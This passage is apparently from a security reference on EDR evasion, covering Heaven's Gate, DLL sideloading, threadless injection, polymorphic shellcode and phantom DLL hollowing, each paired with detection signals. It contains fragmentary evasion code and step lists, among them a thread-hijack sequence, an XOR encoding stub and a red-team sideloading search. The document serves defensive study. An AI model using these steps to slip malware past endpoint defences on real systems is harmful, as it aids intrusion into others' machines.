Why this mattersSome EDRs (including CrowdStrike) check whether the address of the syscall instruction is inside the ntdll module mapping. Direct syscalls fail this check; indirect syscalls pass it.

Implementation toolsRecycledGate, TartarusGate, Meterpreter's Inline Syscalls (post-2022), Havoc C2 implant.

Detection

  • ETW Threat-Intelligence fires on the kernel side of the syscall — the return address after the syscall returns is in the attacker's shellcode, not in a legitimate ntdll caller. This mismatch is detectable.
  • Thread call stack at the time of the syscall: even with a spoofed user-space stack, the kernel records the actual user-mode return RIP
  • CrowdStrike's kernel sensor observes the full system call context; the return address after sysret points into shellcode memory

A-4. Heaven's Gate (32-bit ↔ 64-bit Transition)

64-bit Windows runs 32-bit processes in WOW64 (Windows-on-Windows 64-bit). WOW64 presents a 32-bit ntdll that translates 32-bit syscalls to 64-bit by switching to 64-bit mode via a far call to segment 0x33.

32-bit process:
  → calls wow64.dll → wow64cpu.dll
  → far jmp to selector 0x33 (64-bit code segment)
  → executes 64-bit syscall stubs in ntdll64.dll
  → far jmp back to 0x23 (32-bit code segment)

EvasionAn attacker with shellcode in a 32-bit process can directly invoke 64-bit syscall stubs by issuing a far jump to 0x33 themselves, bypassing the entire WOW64 translation layer and any 32-bit ntdll hooks.

asm
; In 32-bit shellcode: jump to 64-bit mode
call far [ptr_to_x64_code]   ; ptr_to_x64_code uses segment selector 0x33
; → now in 64-bit mode, can call 64-bit ntdll stubs directly
; → any EDR hooks on 32-bit ntdll are bypassed

Why it mattersMany EDRs hook the 32-bit ntdll for 32-bit processes but may have less visibility into direct 64-bit transitions from WOW64 processes.

Detection

  • The 64-bit ETW and kernel callbacks fire regardless — the syscall is visible in the kernel
  • A WOW64 process suddenly making 64-bit native calls is anomalous; CrowdStrike tracks this
  • Uncommon in legitimate 32-bit applications; a strong signal when seen outside of known WOW64 transition code

A-5. DLL Sideloading

Different from hijacking (which requires a writable directory in the search path): sideloading places a malicious DLL alongside a legitimate, signed executable that LoadLibrarys it by name without validation.

Legitimate app + sideloaded malicious DLL:
C:\Program Files\LegitApp\
  ├── LegitApp.exe  (signed by LegitVendor)
  └── version.dll   (malicious — placed by attacker, loaded implicitly)

LegitApp.exe calls GetProcAddress(LoadLibrary("version.dll"), ...)
Windows searches: current dir first → finds malicious version.dll
LegitApp.exe loads and calls malicious code under its own identity

Why it evadesThe malicious code runs inside a signed, trusted process. Network connections, registry writes, and file access are all attributed to LegitApp.exe. The DLL itself may be unsigned but is loaded by a signed binary.

Real-world examples

  • SUNBURST (SolarWinds): SolarWinds.Orion.Core.BusinessLayer.dll sideloaded into the Orion platform
  • HijackLoader: sideloads into signed AV or security tool processes
  • APT29 (Cozy Bear): consistent sideloading into Microsoft Office, Windows Defender components
bash
# Finding sideloading opportunities (red team)
# Use ProcMon / API Monitor: filter for LoadLibrary calls that return NAME_NOT_FOUND
# Any call to a DLL that doesn't exist in a system directory = sideload candidate

# Or: use SigCheck to find signed binaries importing DLLs from non-system locations
sigcheck.exe -accepteula -e -u -vt "C:\Program Files\LegitApp\"

Detection

  • Sysmon Event ID 7 (image load): flag unsigned DLLs loaded by signed processes
  • The loaded DLL's path is outside C:\Windows\System32 and C:\Windows\SysWOW64
  • CrowdStrike ML models score DLLs loaded by trusted processes; unsigned + high entropy + external network connection = high confidence IOA

A-6. ThreadlessInject — No New Thread

Classic injection (CreateRemoteThread, NtCreateThreadEx) creates a new thread in the target process — a high-signal event that every EDR monitors. Threadless injection hijacks an existing thread by temporarily redirecting its execution.

Mechanism (GitHub: antonioCoco/ThreadlessInject):

1. Find a module in the target process that exports a rarely-called function
   (e.g., an EAT entry that is never called at runtime)
2. Overwrite the function's prologue in memory with shellcode
3. When the target's existing threads call that export (or the attacker triggers it),
   the thread executes the shellcode and then returns normally
c
// Alternative: hijack a thread in a wait state
1. OpenThread(THREAD_ALL_ACCESS, FALSE, target_tid)
2. SuspendThread(hThread)
3. GetThreadContext(hThread, &ctx)
4. Backup ctx.Rip
5. ctx.Rip = shellcode_addr;         // redirect to shellcode
6. SetThreadContext(hThread, &ctx)
7. Push original Rip onto shellcode stack so shellcode can return naturally
8. ResumeThread(hThread)
// → existing thread runs shellcode, then returns to where it was

Why it evadesNo NtCreateThreadEx or CreateRemoteThread call — the events most EDRs watch for thread-based injection. The ETW Threat-Intelligence THREATINT_KEYWORD_CREATE_REMOTE_THREAD event is never generated.

Detection

  • Thread context modification (SetThreadContext on a remote thread) is observable via kernel callbacks
  • A thread's RIP suddenly pointing outside any known module boundary is flagged as memory anomaly
  • CrowdStrike monitors NtSetContextThread on remote threads (MITRE T1055.003)

A-7. Polymorphic / Metamorphic Shellcode

Polymorphicsame functionality, different bytes each run (via encryption with a varying key). The decryptor stub itself is constant — signatures can still detect the decryptor.

Metamorphicthe code itself is rewritten each generation — instruction substitution, register reassignment, dead code insertion, block reordering.

python
# Simple polymorphic stub concept: XOR shellcode with a random key
import random
shellcode = b"\x48\x31\xc0\x48..."
key = random.randbytes(len(shellcode))
encrypted = bytes(a ^ b for a, b in zip(shellcode, key))

# Decoder stub (prepend to payload):
# MOV RCX, length
# MOV RSI, encrypted_shellcode_addr
# MOV RDI, key_addr
# XOR [RSI], [RDI] ; loop

ToolsSGN (shikata_ga_nai successor), MSFPC, Donut (encodes .NET assemblies as polymorphic shellcode), PEzor.

Detection

  • High-entropy regions in memory → entropy threshold triggers scanner
  • The decryptor loop itself has recognizable patterns (XOR/NOT + counter loop + call-pop addressing)
  • CrowdStrike's memory scanner uses heuristics beyond static signatures: behavioral patterns during execution, not just byte patterns at rest

A-8. Phantom DLL Hollowing

A refinement of process hollowing that targets DLL memory rather than a suspended process:

1. MapViewOfFile a legitimate DLL (e.g., clrjit.dll) into the current process
2. NtUnmapViewOfSection to detach the original mapped view
3. Use the now-unmapped virtual address range:
   NtAllocateVirtualMemory at the same address (now unoccupied)
   Write malicious PE to this address
4. The memory region occupies the address where clrjit.dll "was"
   but now contains arbitrary code

Why it's stealthyMemory scanners that walk the VAS and check named module regions will see the address range — it used to be a known DLL — but the content has been replaced. Without re-hashing the mapped content against the on-disk DLL, the scanner misses it.

Detection

  • PE-sieve and HollowsHunter: compare every mapped region's content against its corresponding on-disk image hash
  • CrowdStrike's memory scanner re-hashes module regions and compares to PE on disk; mismatch = flag
  • NtUnmapViewOfSection on a named mapped file followed by NtAllocateVirtualMemory at the same base is a recognizable IOA sequence

Advanced Evasion Detection Summary

TechniqueKey Signal for Detection
Sleep obfuscationMemory permission cycling (RX→RW→RX); high-entropy private RW region
Stack spoofingStack frames in spoofed chain lack proper local variable layout; RSP points to unmodule'd memory
Indirect syscallssyscall instruction inside ntdll (passes module check), but return RIP after sysret is in shellcode
Heaven's GateWOW64 process issuing far jmp to 0x33; unexpected 64-bit syscalls from 32-bit process
DLL sideloadingUnsigned DLL loaded by signed process; DLL outside system directories; Sysmon Event ID 7
Threadless injectNtSetContextThread on remote thread; thread RIP outside module boundaries
Polymorphic shellcodeHigh entropy memory region; decryptor loop heuristics; behavioral IOA on execution
Phantom DLL hollowingNamed module region content ≠ on-disk hash; NtUnmapViewOfSection + reallocate at same base